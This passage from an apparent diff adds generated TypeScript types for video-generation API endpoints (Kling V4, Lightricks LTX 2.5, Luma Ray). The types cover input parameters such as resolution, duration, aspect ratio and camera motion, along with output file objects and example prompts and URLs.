number +} + +export const inputKlingV4TextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputKlingV4TextToVideoResolutionEnumKey = + (typeof inputKlingV4TextToVideoResolutionEnum)[keyof typeof inputKlingV4TextToVideoResolutionEnum] + +export const inputKlingV4TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '21:9': '21:9', +} as const + +export type InputKlingV4TextToVideoAspectRatioEnumKey = + (typeof inputKlingV4TextToVideoAspectRatioEnum)[keyof typeof inputKlingV4TextToVideoAspectRatioEnum] + +export type InputKlingV4TextToVideo = { + /** + * @description Output resolution. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputKlingV4TextToVideoResolutionEnumKey + /** + * @description Per-shot prompts for multi-shot generation. The video duration is the sum of the shot durations. + * @example null + */ + multi_prompt?: KlingV4Shot9Ddf8Afa[] | null + /** + * @description Text prompt. Either prompt or multi_prompt must be provided. + * @example A detective in a black trench coat stands on a rooftop in the rain, looking through a telescope at the street below. + */ + prompt?: string | null + /** + * @description Video duration in seconds (3-30). + * @minimum 3 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputKlingV4TextToVideoAspectRatioEnumKey +} + +export type File41A70893 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputKlingV4TextToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","file_size":3478246,"file_name":"output.mp4","url":"https://v3b.fal.media/files/b/0aac4496/QzdMSy4uSKyFfMjtU65MA_clip_text.mp4"} + * @type object + */ + video: File41A70893 +} + +export type KlingV4Element9Aeef248 = { + /** + * @description The frontal image of the element (main view). + */ + frontal_image_url?: string | null + /** + * @description Voice bound to this element. Create one with https://fal.ai/models/fal-ai/kling-video/create-voice + */ + voice_id?: string | null + /** + * @description Additional views of the element from different angles (1-3). + */ + reference_image_urls?: string[] | null + /** + * @description A video of the element, used instead of images (3-8s). + */ + video_url?: string | null +} + +export const inputKlingV4VideoToVideoEditAspectRatio = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '21:9': '21:9', +} as const + +export type InputKlingV4VideoToVideoEditAspectRatioKey = + (typeof inputKlingV4VideoToVideoEditAspectRatio)[keyof typeof inputKlingV4VideoToVideoEditAspectRatio] + +export const inputKlingV4VideoToVideoEditResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputKlingV4VideoToVideoEditResolutionEnumKey = + (typeof inputKlingV4VideoToVideoEditResolutionEnum)[keyof typeof inputKlingV4VideoToVideoEditResolutionEnum] + +export type InputKlingV4VideoToVideoEdit = { + /** + * @description Reference images, referenced as @Image1, @Image2, ... + * @example null + */ + image_urls?: string[] | null + /** + * @description Optional image to use as the last frame. Counts toward the image reference limit. + */ + end_image_url?: string | null + /** + * @description The video to edit (3-30s), referenced as @Video1. + * + * Max file size: 300.0MB, Min width: 700px, Min height: 700px, Max width: 4553px, Max height: 4553px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Min duration: 3.0s, Max duration: 30.05s, Min FPS: 23.9, Max FPS: 60.05, Timeout: 30.0s + * @type string + */ + video_url: string + /** + * @description Aspect ratio of the edited video. 'auto' adapts it to the inputs. Omit to follow the source video. + * @example null + */ + aspect_ratio?: InputKlingV4VideoToVideoEditAspectRatioKey | null + /** + * @description Output resolution. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputKlingV4VideoToVideoEditResolutionEnumKey + /** + * @description Reference videos, referenced as @Video2, @Video3, ... (max 4). The source, reference and element videos must total at most 30s. + * @example null + */ + video_urls?: string[] | null + /** + * @description Characters/objects, referenced as @Element1, @Element2, ... (max 7). Up to 3 elements may carry a voice_id and up to 3 may be video elements. + * @example null + */ + elements?: KlingV4Element9Aeef248[] | null + /** + * @description Output duration in seconds (3-30). Defaults to the source video's length. + * @example null + */ + duration?: number | null + /** + * @description Voices referenced in the prompt as @Voice1, @Voice2, ... (max 3, including voices bound to elements). Create one with https://fal.ai/models/fal-ai/kling-video/create-voice + * @example null + */ + voice_ids?: string[] | null + /** + * @description Edit instruction. Reference the source video as @Video1. + * @maxLength 26000 + * @example Change the background to a tropical island at sunset. + * @type string + */ + prompt: string + /** + * @description Optional ordered keyframes between the first and last frames (max 8). Count toward the image reference limit. + * @example null + */ + middle_image_urls?: string[] | null + /** + * @description Optional image to use as the first frame. Counts toward the image reference limit. + */ + start_image_url?: string | null +} + +export type File5Bf8Edc0 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputKlingV4VideoToVideoEdit = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","file_size":3478246,"file_name":"output.mp4","url":"https://v3b.fal.media/files/b/0aac4496/QzdMSy4uSKyFfMjtU65MA_clip_text.mp4"} + * @type object + */ + video: File5Bf8Edc0 +} + +export const inputLightricksLtx25AudioToVideoFastAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputLightricksLtx25AudioToVideoFastAspectRatioEnumKey = + (typeof inputLightricksLtx25AudioToVideoFastAspectRatioEnum)[keyof typeof inputLightricksLtx25AudioToVideoFastAspectRatioEnum] + +export type InputLightricksLtx25AudioToVideoFast = { + /** + * @description The aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image, or defaults to 16:9 if no image is provided. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputLightricksLtx25AudioToVideoFastAspectRatioEnumKey + /** + * @description URL of an image to use as the first frame of the video. If not provided, prompt is required. + * @example https://v3b.fal.media/files/b/0a90dfd2/G1zBOgd-17yqZ-2S5TN4j_M3nzt3Sp.png + */ + image_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of how the video should be generated. Required if image_url is not provided. When image_url is provided, this describes how the image should be animated. + * @example A woman whispering to the microphone + */ + prompt?: string | null + /** + * @description URL of the audio file to generate a video from. Duration must be between 2 and 20 seconds; pro models support a maximum of 10 seconds. Must be publicly accessible or base64 data URI. + * @example https://v3b.fal.media/files/b/0a90dfe7/3a-DUXzO79XWIYwUDfHZX_output.mp3 + * @type string + */ + audio_url: string +} + +export type VideoFile9680344E = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputLightricksLtx25AudioToVideoFast = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dfec/qqP0ClY8E3d83X8y0zLse_shyIe9XU.mp4","file_name":"qqP0ClY8E3d83X8y0zLse_shyIe9XU.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile9680344E +} + +export const inputLightricksLtx25AudioToVideoProAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputLightricksLtx25AudioToVideoProAspectRatioEnumKey = + (typeof inputLightricksLtx25AudioToVideoProAspectRatioEnum)[keyof typeof inputLightricksLtx25AudioToVideoProAspectRatioEnum] + +export type InputLightricksLtx25AudioToVideoPro = { + /** + * @description The aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image, or defaults to 16:9 if no image is provided. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputLightricksLtx25AudioToVideoProAspectRatioEnumKey + /** + * @description URL of an image to use as the first frame of the video. If not provided, prompt is required. + * @example https://v3b.fal.media/files/b/0a90dfd2/G1zBOgd-17yqZ-2S5TN4j_M3nzt3Sp.png + */ + image_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of how the video should be generated. Required if image_url is not provided. When image_url is provided, this describes how the image should be animated. + * @example A woman whispering to the microphone + */ + prompt?: string | null + /** + * @description URL of the audio file to generate a video from. Duration must be between 2 and 20 seconds; pro models support a maximum of 10 seconds. Must be publicly accessible or base64 data URI. + * @example https://v3b.fal.media/files/b/0a90dfe7/3a-DUXzO79XWIYwUDfHZX_output.mp3 + * @type string + */ + audio_url: string +} + +export type VideoFile398Ee039 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputLightricksLtx25AudioToVideoPro = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dfec/qqP0ClY8E3d83X8y0zLse_shyIe9XU.mp4","file_name":"qqP0ClY8E3d83X8y0zLse_shyIe9XU.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile398Ee039 +} + +export const inputLightricksLtx25ImageToVideoFastFpsEnum = { + '24': 24, + '25': 25, + '48': 48, + '50': 50, +} as const + +export type InputLightricksLtx25ImageToVideoFastFpsEnumKey = + (typeof inputLightricksLtx25ImageToVideoFastFpsEnum)[keyof typeof inputLightricksLtx25ImageToVideoFastFpsEnum] + +export const inputLightricksLtx25ImageToVideoFastCameraMotion = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + focus_shift: 'focus_shift', +} as const + +export type InputLightricksLtx25ImageToVideoFastCameraMotionKey = + (typeof inputLightricksLtx25ImageToVideoFastCameraMotion)[keyof typeof inputLightricksLtx25ImageToVideoFastCameraMotion] + +export const inputLightricksLtx25ImageToVideoFastResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputLightricksLtx25ImageToVideoFastResolutionEnumKey = + (typeof inputLightricksLtx25ImageToVideoFastResolutionEnum)[keyof typeof inputLightricksLtx25ImageToVideoFastResolutionEnum] + +export const inputLightricksLtx25ImageToVideoFastDurationEnum = { + '6': 6, + '8': 8, + '10': 10, + '12': 12, + '14': 14, + '16': 16, + '18': 18, + '20': 20, + auto: 'auto', +} as const + +export type InputLightricksLtx25ImageToVideoFastDurationEnumKey = + (typeof inputLightricksLtx25ImageToVideoFastDurationEnum)[keyof typeof inputLightricksLtx25ImageToVideoFastDurationEnum] + +export const inputLightricksLtx25ImageToVideoFastAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputLightricksLtx25ImageToVideoFastAspectRatioEnumKey = + (typeof inputLightricksLtx25ImageToVideoFastAspectRatioEnum)[keyof typeof inputLightricksLtx25ImageToVideoFastAspectRatioEnum] + +export type InputLightricksLtx25ImageToVideoFast = { + /** + * @description The frames per second of the generated video. + * @default 25 + * @type number | undefined + */ + fps?: InputLightricksLtx25ImageToVideoFastFpsEnumKey + /** + * @description The URL of the start image to use for the generated video. + * @example https://v3b.fal.media/files/b/0a90dd31/uJG2pMMJMcnVeC4PmwnAF_image_004.png + * @type string + */ + image_url: string + /** + * @description Optional camera motion applied to the generated video. + */ + camera_motion?: InputLightricksLtx25ImageToVideoFastCameraMotionKey | null + /** + * @description The resolution of the generated video. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputLightricksLtx25ImageToVideoFastResolutionEnumKey + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Periscope-level shot from behind tall grass of two Maasai warriors mid-leap during an adumu jumping dance, bodies fully airborne against a golden savanna sunset, red shuka robes frozen in motion, dust kicked up from the earth catching backlight, 85mm f/1.4 isolating the pair from a blurred circle of onlookers, Steve McCurry meets Emmanuel Lubezki + * @type string + */ + prompt: string + /** + * @description The URL of the end image to use for the generated video. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description The duration of the generated video in seconds. At 720p and 1080p, 24 or 25 FPS supports up to 20 seconds, while 48 or 50 FPS supports up to 10 seconds. At 1440p and 2160p, all frame rates support up to 10 seconds. Set to 'auto' to let the model choose the duration automatically. + * @default 'auto' + * @type string | undefined + */ + duration?: InputLightricksLtx25ImageToVideoFastDurationEnumKey + /** + * @description The aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputLightricksLtx25ImageToVideoFastAspectRatioEnumKey + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean +} + +export type VideoFile648Fce11 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputLightricksLtx25ImageToVideoFast = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dd0b/JCP0MJDH3ioOFzRd7GsGi_aB0OxLmA.mp4","file_name":"JCP0MJDH3ioOFzRd7GsGi_aB0OxLmA.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile648Fce11 +} + +export const inputLightricksLtx25ImageToVideoProFpsEnum = { + '24': 24, + '25': 25, + '50': 50, +} as const + +export type InputLightricksLtx25ImageToVideoProFpsEnumKey = + (typeof inputLightricksLtx25ImageToVideoProFpsEnum)[keyof typeof inputLightricksLtx25ImageToVideoProFpsEnum] + +export const inputLightricksLtx25ImageToVideoProCameraMotion = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + focus_shift: 'focus_shift', +} as const + +export type InputLightricksLtx25ImageToVideoProCameraMotionKey = + (typeof inputLightricksLtx25ImageToVideoProCameraMotion)[keyof typeof inputLightricksLtx25ImageToVideoProCameraMotion] + +export const inputLightricksLtx25ImageToVideoProResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputLightricksLtx25ImageToVideoProResolutionEnumKey = + (typeof inputLightricksLtx25ImageToVideoProResolutionEnum)[keyof typeof inputLightricksLtx25ImageToVideoProResolutionEnum] + +export const inputLightricksLtx25ImageToVideoProDurationEnum = { + '6': 6, + '8': 8, + '10': 10, + auto: 'auto', +} as const + +export type InputLightricksLtx25ImageToVideoProDurationEnumKey = + (typeof inputLightricksLtx25ImageToVideoProDurationEnum)[keyof typeof inputLightricksLtx25ImageToVideoProDurationEnum] + +export const inputLightricksLtx25ImageToVideoProAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputLightricksLtx25ImageToVideoProAspectRatioEnumKey = + (typeof inputLightricksLtx25ImageToVideoProAspectRatioEnum)[keyof typeof inputLightricksLtx25ImageToVideoProAspectRatioEnum] + +export type InputLightricksLtx25ImageToVideoPro = { + /** + * @description The frames per second of the generated video. + * @default 25 + * @type number | undefined + */ + fps?: InputLightricksLtx25ImageToVideoProFpsEnumKey + /** + * @description The URL of the start image to use for the generated video. + * @example https://v3b.fal.media/files/b/0a90dd31/uJG2pMMJMcnVeC4PmwnAF_image_004.png + * @type string + */ + image_url: string + /** + * @description Optional camera motion applied to the generated video. + */ + camera_motion?: InputLightricksLtx25ImageToVideoProCameraMotionKey | null + /** + * @description The resolution of the generated video. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputLightricksLtx25ImageToVideoProResolutionEnumKey + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Periscope-level shot from behind tall grass of two Maasai warriors mid-leap during an adumu jumping dance, bodies fully airborne against a golden savanna sunset, red shuka robes frozen in motion, dust kicked up from the earth catching backlight, 85mm f/1.4 isolating the pair from a blurred circle of onlookers, Steve McCurry meets Emmanuel Lubezki + * @type string + */ + prompt: string + /** + * @description The URL of the end image to use for the generated video. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description The duration of the generated video in seconds, up to 10 seconds. Set to 'auto' to let the model choose the duration automatically. + * @default 'auto' + * @type string | undefined + */ + duration?: InputLightricksLtx25ImageToVideoProDurationEnumKey + /** + * @description The aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputLightricksLtx25ImageToVideoProAspectRatioEnumKey + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean +} + +export type VideoFileD98Ba38C = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputLightricksLtx25ImageToVideoPro = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dd31/VUCTD0YYJIp_K4qQkkneL_wMVDWNRn.mp4","file_name":"VUCTD0YYJIp_K4qQkkneL_wMVDWNRn.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFileD98Ba38C +} + +export const inputLightricksLtx25TextToVideoFastFpsEnum = { + '24': 24, + '25': 25, + '48': 48, + '50': 50, +} as const + +export type InputLightricksLtx25TextToVideoFastFpsEnumKey = + (typeof inputLightricksLtx25TextToVideoFastFpsEnum)[keyof typeof inputLightricksLtx25TextToVideoFastFpsEnum] + +export const inputLightricksLtx25TextToVideoFastAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputLightricksLtx25TextToVideoFastAspectRatioEnumKey = + (typeof inputLightricksLtx25TextToVideoFastAspectRatioEnum)[keyof typeof inputLightricksLtx25TextToVideoFastAspectRatioEnum] + +export const inputLightricksLtx25TextToVideoFastDurationEnum = { + '6': 6, + '8': 8, + '10': 10, + '12': 12, + '14': 14, + '16': 16, + '18': 18, + '20': 20, + auto: 'auto', +} as const + +export type InputLightricksLtx25TextToVideoFastDurationEnumKey = + (typeof inputLightricksLtx25TextToVideoFastDurationEnum)[keyof typeof inputLightricksLtx25TextToVideoFastDurationEnum] + +export const inputLightricksLtx25TextToVideoFastResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputLightricksLtx25TextToVideoFastResolutionEnumKey = + (typeof inputLightricksLtx25TextToVideoFastResolutionEnum)[keyof typeof inputLightricksLtx25TextToVideoFastResolutionEnum] + +export const inputLightricksLtx25TextToVideoFastCameraMotion = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + focus_shift: 'focus_shift', +} as const + +export type InputLightricksLtx25TextToVideoFastCameraMotionKey = + (typeof inputLightricksLtx25TextToVideoFastCameraMotion)[keyof typeof inputLightricksLtx25TextToVideoFastCameraMotion] + +export type InputLightricksLtx25TextToVideoFast = { + /** + * @description The frames per second of the generated video. + * @default 25 + * @type number | undefined + */ + fps?: InputLightricksLtx25TextToVideoFastFpsEnumKey + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputLightricksLtx25TextToVideoFastAspectRatioEnumKey + /** + * @description The duration of the generated video in seconds. At 720p and 1080p, 24 or 25 FPS supports up to 20 seconds, while 48 or 50 FPS supports up to 10 seconds. At 1440p and 2160p, all frame rates support up to 10 seconds. Set to 'auto' to let the model choose the duration automatically. + * @default 'auto' + * @type string | undefined + */ + duration?: InputLightricksLtx25TextToVideoFastDurationEnumKey + /** + * @description The resolution of the generated video. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputLightricksLtx25TextToVideoFastResolutionEnumKey + /** + * @description Optional camera motion applied to the generated video. + */ + camera_motion?: InputLightricksLtx25TextToVideoFastCameraMotionKey | null + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Through-the-veil shot of a bride's face during an Indian wedding ceremony, camera positioned behind the sheer red dupatta fabric, the embroidered pattern creating a textured overlay on her face, her eyes lined with kohl looking down at henna-covered hands, marigold garlands in soft background bokeh, 85mm f/1.2 focused through the fabric layer, warm tungsten and candlelight, Mira Nair Monsoon Wedding intimacy + * @type string + */ + prompt: string +} + +export type VideoFileD4A6Dd5F = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputLightricksLtx25TextToVideoFast = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dde7/7ufClzCcdMD-up1rau1jF_6xx4WLgg.mp4","file_name":"7ufClzCcdMD-up1rau1jF_6xx4WLgg.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFileD4A6Dd5F +} + +export const inputLightricksLtx25TextToVideoProFpsEnum = { + '24': 24, + '25': 25, + '50': 50, +} as const + +export type InputLightricksLtx25TextToVideoProFpsEnumKey = + (typeof inputLightricksLtx25TextToVideoProFpsEnum)[keyof typeof inputLightricksLtx25TextToVideoProFpsEnum] + +export const inputLightricksLtx25TextToVideoProAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputLightricksLtx25TextToVideoProAspectRatioEnumKey = + (typeof inputLightricksLtx25TextToVideoProAspectRatioEnum)[keyof typeof inputLightricksLtx25TextToVideoProAspectRatioEnum] + +export const inputLightricksLtx25TextToVideoProDurationEnum = { + '6': 6, + '8': 8, + '10': 10, + auto: 'auto', +} as const + +export type InputLightricksLtx25TextToVideoProDurationEnumKey = + (typeof inputLightricksLtx25TextToVideoProDurationEnum)[keyof typeof inputLightricksLtx25TextToVideoProDurationEnum] + +export const inputLightricksLtx25TextToVideoProResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputLightricksLtx25TextToVideoProResolutionEnumKey = + (typeof inputLightricksLtx25TextToVideoProResolutionEnum)[keyof typeof inputLightricksLtx25TextToVideoProResolutionEnum] + +export const inputLightricksLtx25TextToVideoProCameraMotion = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + focus_shift: 'focus_shift', +} as const + +export type InputLightricksLtx25TextToVideoProCameraMotionKey = + (typeof inputLightricksLtx25TextToVideoProCameraMotion)[keyof typeof inputLightricksLtx25TextToVideoProCameraMotion] + +export type InputLightricksLtx25TextToVideoPro = { + /** + * @description The frames per second of the generated video. + * @default 25 + * @type number | undefined + */ + fps?: InputLightricksLtx25TextToVideoProFpsEnumKey + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputLightricksLtx25TextToVideoProAspectRatioEnumKey + /** + * @description The duration of the generated video in seconds, up to 10 seconds. Set to 'auto' to let the model choose the duration automatically. + * @default 'auto' + * @type string | undefined + */ + duration?: InputLightricksLtx25TextToVideoProDurationEnumKey + /** + * @description The resolution of the generated video. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputLightricksLtx25TextToVideoProResolutionEnumKey + /** + * @description Optional camera motion applied to the generated video. + */ + camera_motion?: InputLightricksLtx25TextToVideoProCameraMotionKey | null + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Through-the-veil shot of a bride's face during an Indian wedding ceremony, camera positioned behind the sheer red dupatta fabric, the embroidered pattern creating a textured overlay on her face, her eyes lined with kohl looking down at henna-covered hands, marigold garlands in soft background bokeh, 85mm f/1.2 focused through the fabric layer, warm tungsten and candlelight, Mira Nair Monsoon Wedding intimacy + * @type string + */ + prompt: string +} + +export type VideoFile3D433486 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputLightricksLtx25TextToVideoPro = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dd3a/EG257tf7j9UfVc-jHF8lI_0MWboc13.mp4","file_name":"EG257tf7j9UfVc-jHF8lI_0MWboc13.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile3D433486 +} + +export const inputLumaAgentRayV32ImageToVideoDurationEnum = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputLumaAgentRayV32ImageToVideoDurationEnumKey = + (typeof inputLumaAgentRayV32ImageToVideoDurationEnum)[keyof typeof inputLumaAgentRayV32ImageToVideoDurationEnum] + +export const inputLumaAgentRayV32ImageToVideoAspectRatioEnum = { + '3:4': '3:4', + '4:3': '4:3', + '1:1': '1:1', + '9:16': '9:16', + '16:9': '16:9', + '21:9': '21:9', +} as const + +export type InputLumaAgentRayV32ImageToVideoAspectRatioEnumKey = + (typeof inputLumaAgentRayV32ImageToVideoAspectRatioEnum)[keyof typeof inputLumaAgentRayV32ImageToVideoAspectRatioEnum] + +export const inputLumaAgentRayV32ImageToVideoResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputLumaAgentRayV32ImageToVideoResolutionEnumKey = + (typeof inputLumaAgentRayV32ImageToVideoResolutionEnum)[keyof typeof inputLumaAgentRayV32ImageToVideoResolutionEnum] + +export type InputLumaAgentRayV32ImageToVideo = { + /** + * @description URL of the image used as the first frame of the video. Provide either image_url (optionally with end_image_url) or keyframes — the two anchoring modes are mutually exclusive. + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + */ + image_url?: string | null + /** + * @description Generate an HDR-encoded MP4. Requires HDR access on the account and a resolution of 720p or 1080p; not supported with loop. + * @default false + * @type boolean | undefined + */ + hdr?: boolean + /** + * @description Generate a seamless loop. Only valid for standard-dynamic-range generations without an end frame or keyframes. + * @default false + * @type boolean | undefined + */ + loop?: boolean + /** + * @description Also export an EXR file alongside the MP4. Requires hdr=true and HDR access. + * @default false + * @type boolean | undefined + */ + exr_export?: boolean + /** + * @description Optional URL of an image used as the last frame. When set, the model interpolates between image_url and end_image_url. Cannot be combined with keyframes. + */ + end_image_url?: string | null + /** + * @description Text prompt describing the motion/scene to generate. + * @minLength 1 + * @maxLength 6000 + * @example Low-angle shot of a majestic tiger prowling through a snowy landscape, leaving paw prints on the white blanket. + * @type string + */ + prompt: string + /** + * @description Duration of the generated video. 10s requires multi-keyframe input (keyframes / keyframe_indexes); it is not supported with a single image_url / end_image_url anchor. + * @default '5s' + * @type string | undefined + */ + duration?: InputLumaAgentRayV32ImageToVideoDurationEnumKey + /** + * @description Output-frame positions (duration x 24fps: 5s -> 0-120, 10s -> 0-240) where each keyframes[i] is anchored. Non-negative, unique, and the same length as keyframes. + */ + keyframe_indexes?: number[] | null + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @example 16:9 + * @type string | undefined + */ 